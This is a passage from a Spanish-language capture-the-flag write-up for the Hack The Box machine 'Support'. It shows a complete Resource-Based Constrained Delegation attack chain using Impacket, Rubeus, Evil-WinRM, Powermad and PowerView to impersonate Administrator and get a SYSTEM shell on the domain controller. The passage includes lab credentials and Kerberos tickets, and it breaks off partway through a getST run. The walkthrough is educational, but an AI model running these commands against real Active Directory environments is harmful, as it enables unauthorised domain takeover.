1\) Creamos una cuenta de equipo controlada por nosotros con **impacket-addcomputer**: `FAKE-COMP01$`

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-addcomputer -computer-name 'FAKE-COMP01$' -computer-pass 'Password123' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful' 
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account FAKE-COMP01$ with password Password123.
</code></pre>

2\) Nos conectamos a la cuenta `support` con **EvilWinRM** y cargamos el binario de **Rubeus** con `upload` (previamente este binario debe encontrarse en el directorio desde donde ejecutamos EvilWinRM, de lo contrario no se podrá cargar en el equipo de support). Luego verificamos que la cuenta `FAKE-COMP01$` fue creada correctamente.

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
</strong>                                  
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                              
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                         
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents> upload Rubeus.exe
                                        
Info: Uploading /home/kali/Documents/HTB/SUPPORT/Rubeus.exe to C:\Users\support\Documents\Rubeus.exe
                                        
Data: 370688 bytes of 370688 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\support\Documents> Get-ADComputer -Identity "FAKE-COMP01$"

DistinguishedName : CN=FAKE-COMP01,CN=Computers,DC=support,DC=htb
DNSHostName       :
Enabled           : True
Name              : FAKE-COMP01
ObjectClass       : computer
ObjectGUID        : 6f49ae76-c3b7-49a6-b24a-81b757693354
SamAccountName    : FAKE-COMP01$
SID               : S-1-5-21-1677581083-3380853377-188903654-5604
</code></pre>

3\) Modificamos el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` del DC$, con **impacket-rbcd**, para permitir que `FAKE-COMP01$` pueda impersonar otros usuarios. Hasta aca el procedimiento es similar al anterior.

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-rbcd -action write -delegate-from 'FAKE-COMP01$' -delegate-to 'DC$' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful' 
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Accounts allowed to act on behalf of other identity:
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5601
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5602
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5603
[*] Delegation rights modified successfully!
[*] FAKE-COMP01$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5601
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5602
[-] SID not found in LDAP: S-1-5-21-1677581083-3380853377-188903654-5603
[*]     FAKE-COMP01$   (S-1-5-21-1677581083-3380853377-188903654-5604)
</code></pre>

4\) Obtener el hash NTLM de `FAKE-COMP01$`. Generamos el hash NTLM (rc4\_hmac) con Rubeus para utilizarlo en la solicitud de ticket TGT. Luego solicitamos un TGT para `FAKE-COMP01$` que se nos imprimirá en base64, finalmente, mediante S4U2Proxy, vamos a impersonar al usuario `Administrator`. Solicitamos un TGS para `Administrator` hacia `cifs/dc.support.htb` y Rubeus lo inyecta directamente (`/ptt`).

{% code fullWidth="true" expandable="true" %}

```vim
*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4


[*] Action: Calculate Password Hash(es)

[*] Input password             : Password123
[*] Input username             : FAKE-COMP01$
[*] Input domain               : support.htb
[*] Salt                       : SUPPORT.HTBhostfake-comp01.support.htb
[*]       rc4_hmac             : 58A478135A93AC3BF058A5EA0E8FDB71
[*]       aes128_cts_hmac_sha1 : 06C1EABAD3A21C24DF384247BC85C540
[*]       aes256_cts_hmac_sha1 : FF7BA224B544AA97002B2BEE94EADBA7855EF81A1E05B7EB33D4BCD55807FF53
[*]       des_cbc_md5          : 5B045E854358687C

*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe asktgt /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /domain:support.htb /dc:dc.support.htb /nowrap
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 58A478135A93AC3BF058A5EA0E8FDB71
[*] Building AS-REQ (w/ preauth) for: 'support.htb\FAKE-COMP01$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFhDCCBYCgAwIBBaEDAgEWooIEmDCCBJRhggSQMIIEjKADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqADAgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBFIwggROoAMCARKhAwIBAqKCBEAEggQ8Rf17sfMJ64DvqbKmHmDapwaU0YiWyQni/xvnrTA2zzUHFIAU71zCcYh10fz14xAGaP5ffFcONKVaaw2bT1OGh89AcgFJL1tXDDwt76SdV6FUNEBy626UOWVUfgwDQUPeA5TTncvq9T930PkPrxPnsfPQEzo6+DrbEVBv2ei9XkSi6lS5WCgjvs7cERCJI0jxDygEUOQ2uzDnZ6408QtFCMFJml2a2vhYnaKqSa+4/HXTBSXxL79geI+iNkbfK8O85pABspsnlfA5Aw9q99nLl7px1fKwU32PlRijHBcZ5J13bgfHG3wIQWyldxmPWEfaCcgwjVZUIEooiNrWbY/fcOXKzEV+7kAO99TT3ZN2eoLrVNbCZaBmd/oFJhhbL5dWE1BebhsQWs8/q5PC74CKx0SPtcovWXqyrEjhASajnYYULlTIrJGu4zUUnkUufl+/8/2d0vzvKAshjnCJr5QjbaXh0GNlIAj6f50yHZBPkaBQ/1hldX0pufpeIuX1aIKbntj0vcCFfwL1iw6WndYSex1jcf3epVnYF6DY07gMsTKOzp8XPGXLQQjSPSlwfxLKM3QltpX4P2tn6NXl3hoMdJkw0alJ5jHIViRFhXtSrod3wZ1Wg2twN64Vjkh1eGh9vSuJwIb8AhVkmv4XPKySRCCpOuypCWM75w1Frp4KFqJs0lbTqaRE5X6oF3rjgTCVF6lRx/7KzgqU0uxUUnBKrpTQqbaHDx+qcBaJ41bb97kaDiQdpB5Yhz31mkrc6stCfQGZdlbPgOsULVjN0VbwkI8ImSS30jl4BLpQ9hIRPMULXzqZbzHjX7ycfT2z6tA6LzGWg55um6X5POfZWOYasX1CkvwjGR2HQdkKHU8CdePbmuiLta7eDGSxRk13ulmsYiNYmSxTVxPj9zK7sXFl+GAZpUqmD8Ne/U9cdvS+GZjqFAXeyGF2IMn/bWGOhTENOXnHt2ag5jQDmpLM0glt9hCmJtVdS0iYXjW8q7NpL9vMlDuwNkVAdeJSrrLS2QsQYCy7jTCj+qQIbQ5amjYtB4+uN0ZJ4W7Yl3+bypt3TRczs3rCAjJP/XNP+Ba1FEaFgv+mY0SSYQkFavelkhfMsPxPdrzFBMEtS5TFHHrrVnQEL746VBGgv35EYC8sjVULDh2bJkfj2eLX29oIba7mvnoj6VVnr7thS+HZ8V8qqMjrdtLJIqWd4G6AE10UXmjT8iVEE0E/iwrd76LzODrjuuf7GsGxdJQDuUEZGueBwv/nSe8JottL4u1FkREpssoOqCp0L1aAQymnoYe36SDl2SN0wxYuqShjcb+lwVNfIZT8rRrw4oXOypCOiG6UNXZxTdJksNBiNufvGxAYhui8fk3DAvQYyXVTDoPWE+9DKf7OR3XtnwJSgKHNWpOsBotiJs6ABZWC1gURsFs9XYFbYeM0lwrMiPWAgosnnaOB1zCB1KADAgEAooHMBIHJfYHGMIHDoIHAMIG9MIG6oBswGaADAgEXoRIEEM6erfST/ETLUiPPWVWuwuOhDRsLU1VQUE9SVC5IVEKiGTAXoAMCAQGhEDAOGwxGQUtFLUNPTVAwMSSjBwMFAEDhAAClERgPMjAyNTA2MjMwNjAxNTZaphEYDzIwMjUwNjIzMTYwMTU2WqcRGA8yMDI1MDYzMDA2MDE1NlqoDRsLU1VQUE9SVC5IVEKpIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3N1cHBvcnQuaHRi

  ServiceName           :  krbtgt/support.htb
  ServiceRealm          :  SUPPORT.HTB
  UserName              :  FAKE-COMP01$
  UserRealm             :  SUPPORT.HTB
  StartTime             :  6/22/2025 11:01:56 PM
  EndTime               :  6/23/2025 9:01:56 AM
  RenewTill             :  6/29/2025 11:01:56 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  zp6t9JP8RMtSI89ZVa7C4w==

*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /dc:dc.support.htb /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4

[*] Action: S4U
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':

      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
      MBYbBGNpZnMbDmRjLnN1cHBvcnQuaHRi
[+] Ticket successfully imported!
```

{% endcode %}

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

`Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb`

Este comando calcula los hashes Kerberos derivados de una contraseña en texto claro, útiles para autenticación sin necesidad de contraseña explícita.

* `/password:Password123` → Especifica la contraseña en texto claro de la cuenta objetivo.
* `/user:FAKE-COMP01$` → Indica el nombre del objeto (en este caso, una cuenta de equipo) cuya contraseña será usada.
* `/domain:support.htb` → Nombre del dominio al que pertenece la cuenta.&#x20;

**Resultado**: Se devuelven los valores hash de tipo `rc4_hmac`, `aes128_cts_hmac_sha1`, `aes256_cts_hmac_sha1` y `des_cbc_md5`, que pueden usarse para autenticar sin contraseña en otros comandos como `asktgt` o `s4u`.

`Rubeus.exe asktgt /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /domain:support.htb /dc:dc.support.htb /nowrap`

Este comando solicita un Ticket Granting Ticket (TGT) usando el hash NTLM previamente calculado.

* `/user:FAKE-COMP01$` → Nombre de la cuenta de equipo que solicita el TGT.
* `/rc4:58A478135A93AC3BF058A5EA0E8FDB71` → Proporciona el hash NTLM de la contraseña. Evita tener que pasar la contraseña en texto claro.
* `/domain:support.htb` → Nombre del dominio Kerberos.
* `/dc:dc.support.htb` → Dirección del controlador de dominio a contactar.
* `/nowrap` → Evita que la salida base64 del ticket se divida en varias líneas (útil para copiar/pegar fácilmente).

**Resultado**: Se imprime en pantalla el TGT en formato `.kirbi` codificado en base64, junto con sus detalles como tiempos de validez y tipo de cifrado.

`Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /dc:dc.support.htb /ptt`

Este comando solicita un Ticket Granting Service (TGS) utilizando el flujo S4U2Proxy, permitiendo a la cuenta `FAKE-COMP01$` obtener acceso en nombre del usuario `Administrator`.

* `/user:FAKE-COMP01$` → Especifica la cuenta delegante autorizada (agregada previamente al dominio).
* `/rc4:58A478135A93AC3BF058A5EA0E8FDB71` → Hash NTLM de la cuenta, usado para autenticación.
* `/impersonateuser:Administrator` → Usuario objetivo que se desea suplantar (impersonate) en la solicitud del ticket.
* `/msdsspn:cifs/dc.support.htb` → SPN del servicio al cual se desea acceder en nombre de `Administrator`. En este caso, CIFS del controlador de dominio.
* `/domain:support.htb` → Nombre del dominio al que pertenecen las cuentas y servicios.
* `/dc:dc.support.htb` → Dirección del Domain Controller que responderá la solicitud Kerberos.
* `/ptt` → Inyecta automáticamente el TGS obtenido en la sesión actual (Pass-the-Ticket), lo que permite su uso inmediato sin pasos adicionales.

</details>

5\) Con el ultimo ticket (TGS) que generamos, lo copiamos y lo pasamos a un archivo en nuestro equipo atacante (`ticket.kirbi.b64`), para luego editarlo y eliminar la indentación y los saltos de línea del ticket.&#x20;

{% code fullWidth="true" %}

```vim
❯ nano ticket.kirbi.b64                                                         
                                                                                                       
❯ cat ticket.kirbi.b64 | sed 's/^[[:space:]]*//' | tr -d '\n' > ticket_clean.b64                                                                                                       
```

{% endcode %}

6\) Decodificamos y convertimos este ticket `.kirbi` a formato `.ccache` . Luego exportamos el ticket como variable de entorno para permitir que nuestras tools compatibles con Kerberos lo utilicen automáticamente

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ base64 -d ticket_clean.b64 > ticket.kirbi
</strong>
<strong>❯ impacket-ticketConverter ticket.kirbi ticket.ccache
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
                                                                                                       
<strong>❯ export KRB5CCNAME=$(pwd)/ticket.ccache
</strong></code></pre>

7\) Finalmente accedemos como `Administrator` con impacket-psexec

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file guRJpUAS.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service dahv on dc.support.htb.....
[*] Starting service dahv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
</code></pre>

### ***Resource-Based Constrained Delegation (RBCD) con Impacket, Powermad y Powerview***

1\) Para esta última poc vamos a necesitar descargar los binarios de [**Powermad**](https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1) y [**Powerview**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) **en nuestro equipo**

{% code fullWidth="true" %}

```vim
❯ wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/refs/heads/master/Powermad.ps1

❯ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1 
```

{% endcode %}

<details>

<summary>📌 <em><strong>Powermad y Powerview</strong></em></summary>

**Powermad** es un script en PowerShell que nos permite interactuar con el Directorio Activo para **crear y administrar cuentas de equipo (machine accounts)**.

**¿Para qué se usa?**\
Se utiliza principalmente para:

* **Crear cuentas de equipo** en un dominio (machine accounts), algo que cualquier usuario autenticado puede hacer por defecto en muchos entornos AD.
* Automatizar esta creación como parte de ataques como **RBCD (Resource-Based Constrained Delegation)**.
* Simular que una máquina legítima se une al dominio con una contraseña conocida (controlada por el atacante).

**PowerView** es una herramienta de enumeración de Active Directory escrita en PowerShell. Forma parte de la suite PowerSploit y es una de las más utilizadas en pentesting.

**¿Para qué se usa?**\
Se usa para:

* **Enumerar objetos del dominio**: usuarios, grupos, máquinas, GPOs, trusts, etc.
* **Buscar relaciones de delegación** (como unconstrained o RBCD).
* **Buscar privilegios y permisos indebidos**.
* **Identificar controladores de dominio y estructuras del bosque**.
* Consultar atributos como `msDS-AllowedToActOnBehalfOfOtherIdentity`.

</details>

2\) Una vez que tenemos los binarios vamos a conectarnos desde ese directorio a la cuenta `support` con **EvilWinRM** y luego cargaremos ambos scripts

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
</strong>                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint

<strong>*Evil-WinRM* PS C:\Users\support\Documents> upload Powermad.ps1
</strong>                                        
Info: Uploading /home/kali/Documents/HTB/SUPPORT/Powermad.ps1 to C:\Users\support\Documents\Powermad.ps1
                                        
Data: 180768 bytes of 180768 bytes copied
                                        
Info: Upload successful!

<strong>*Evil-WinRM* PS C:\Users\support\Documents> Import-Module .\Powermad.ps1
</strong>
<strong>*Evil-WinRM* PS C:\Users\support\Documents> upload PowerView.ps1
</strong>                                        
Info: Uploading /home/kali/Documents/HTB/SUPPORT/PowerView.ps1 to C:\Users\support\Documents\PowerView.ps1                                                                                                    
                                        
Data: 1027036 bytes of 1027036 bytes copied
                                        
Info: Upload successful!

<strong>*Evil-WinRM* PS C:\Users\support\Documents> Import-Module .\PowerView.ps1
</strong></code></pre>

3\) Creamos una cuenta de equipo (machine account) con Powermad. Esto simula la incorporación de un equipo al dominio.

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>*Evil-WinRM* PS C:\Users\support\Documents> New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
</strong> 
Verbose: [+] Domain Controller = dc.support.htb
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = SERVICEA$
Verbose: [+] Distinguished Name = CN=SERVICEA,CN=Computers,DC=support,DC=htb
[+] Machine account SERVICEA added
<strong>*Evil-WinRM* PS C:\Users\support\Documents> $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
</strong>*Evil-WinRM* PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
*Evil-WinRM* PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

<strong>*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer SERVICEA
</strong>
pwdlastset             : 6/23/2025 5:32:23 PM
logoncount             : 1
badpasswordtime        : 12/31/1600 4:00:00 PM
distinguishedname      : CN=SERVICEA,CN=Computers,DC=support,DC=htb
objectclass            : {top, person, organizationalPerson, user...}
lastlogontimestamp     : 6/23/2025 5:32:29 PM
name                   : SERVICEA
objectsid              : S-1-5-21-1677581083-3380853377-188903654-5604
samaccountname         : SERVICEA$
localpolicyflags       : 0
codepage               : 0
samaccounttype         : MACHINE_ACCOUNT
accountexpires         : NEVER
countrycode            : 0
whenchanged            : 6/24/2025 12:32:29 AM
instancetype           : 4
usncreated             : 86150
objectguid             : 6bfefbb1-dd77-41dc-a80c-0a9f06b1ba26
lastlogon              : 6/23/2025 5:32:29 PM
lastlogoff             : 12/31/1600 4:00:00 PM
objectcategory         : CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb
dscorepropagationdata  : 1/1/1601 12:00:00 AM
serviceprincipalname   : {RestrictedKrbHost/SERVICEA, HOST/SERVICEA, RestrictedKrbHost/SERVICEA.support.htb, HOST/SERVICEA.support.htb}
ms-ds-creatorsid       : {1, 5, 0, 0...}
badpwdcount            : 0
cn                     : SERVICEA
useraccountcontrol     : WORKSTATION_TRUST_ACCOUNT
whencreated            : 6/24/2025 12:32:23 AM
primarygroupid         : 515
iscriticalsystemobject : False
usnchanged             : 86153
dnshostname            : SERVICEA.support.htb
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

`New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose`

* *`-MachineAccount` → Especifica el nombre de la nueva cuenta de equipo que se quiere crear en el dominio. En este caso: `SERVICEA$`.*
* *`-Password` → Define la contraseña asociada a la cuenta de equipo. Se convierte en objeto `SecureString` para cumplir con los requisitos del parámetro.*
* *`$(ConvertTo-SecureString '123456' -AsPlainText -Force)` → Convierte la contraseña `'123456'` en formato plano a un objeto seguro (`SecureString`) requerido por el parámetro anterior.*
* *`-Verbose` → Muestra información detallada del proceso mientras se ejecuta el comando, útil para verificar que se creó correctamente.*

`$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid`

* *`Get-DomainComputer SERVICEA` → Consulta los atributos del objeto `SERVICEA` en Active Directory.*
* *`-Properties objectsid` → Solicita específicamente el atributo `objectsid`, que contiene el SID único de la cuenta de equipo.*
* *`| Select -Expand objectsid` → Extrae el valor del SID en una forma usable y lo guarda en la variable `$ComputerSid`.*

`$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"`

* *`New-Object Security.AccessControl.RawSecurityDescriptor` → Crea un nuevo descriptor de seguridad (SD) en formato bruto, que luego será convertido a binario.*
* *`-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"` → Define los permisos que tendrá el SID (la cuenta `SERVICEA`) sobre el objeto que se va a modificar (el DC).*
  * *`"O:BAD"` → Define el propietario (Owner) y el grupo primario del objeto (no relevantes en este contexto).*
  * *`"A;;...;;;$ComputerSid"` → Especifica una ACE (Access Control Entry) que otorga múltiples permisos (`CCDCLCSWRP...`) al SID extraído previamente.*

*Luego se convierte este SD en bytes:*

```powershell
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```

* *`New-Object byte[]` → Crea un arreglo de bytes del tamaño requerido para el descriptor.*
* *`GetBinaryForm($SDBytes, 0)` → Llena el arreglo con la representación binaria del descriptor de seguridad.*

`Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}`

* *`Get-DomainComputer dc` → Obtiene el objeto del equipo `DC` (el Domain Controller) desde Active Directory.*
* *`| Set-DomainObject` → Permite modificar atributos arbitrarios del objeto recibido.*
* *`-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}` → Modifica el atributo `msds-allowedtoactonbehalfofotheridentity` del DC, permitiendo que la cuenta `SERVICEA` actúe en nombre de otros usuarios en ese sistema (esencial para RBCD).*

</details>

4\) Ahora vamos a solicitar un TGS usando **Impacket-getST** (ataque S4U2Proxy). Desde Kali, usando la cuenta `SERVICEA$`, obtenemos un ticket de servicio para `Administrator` hacia `cifs/dc.support.htb`. Luego vamos a exportar el ticket Kerberos TGS para que lo use **impacket-psexec**

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating Administrator
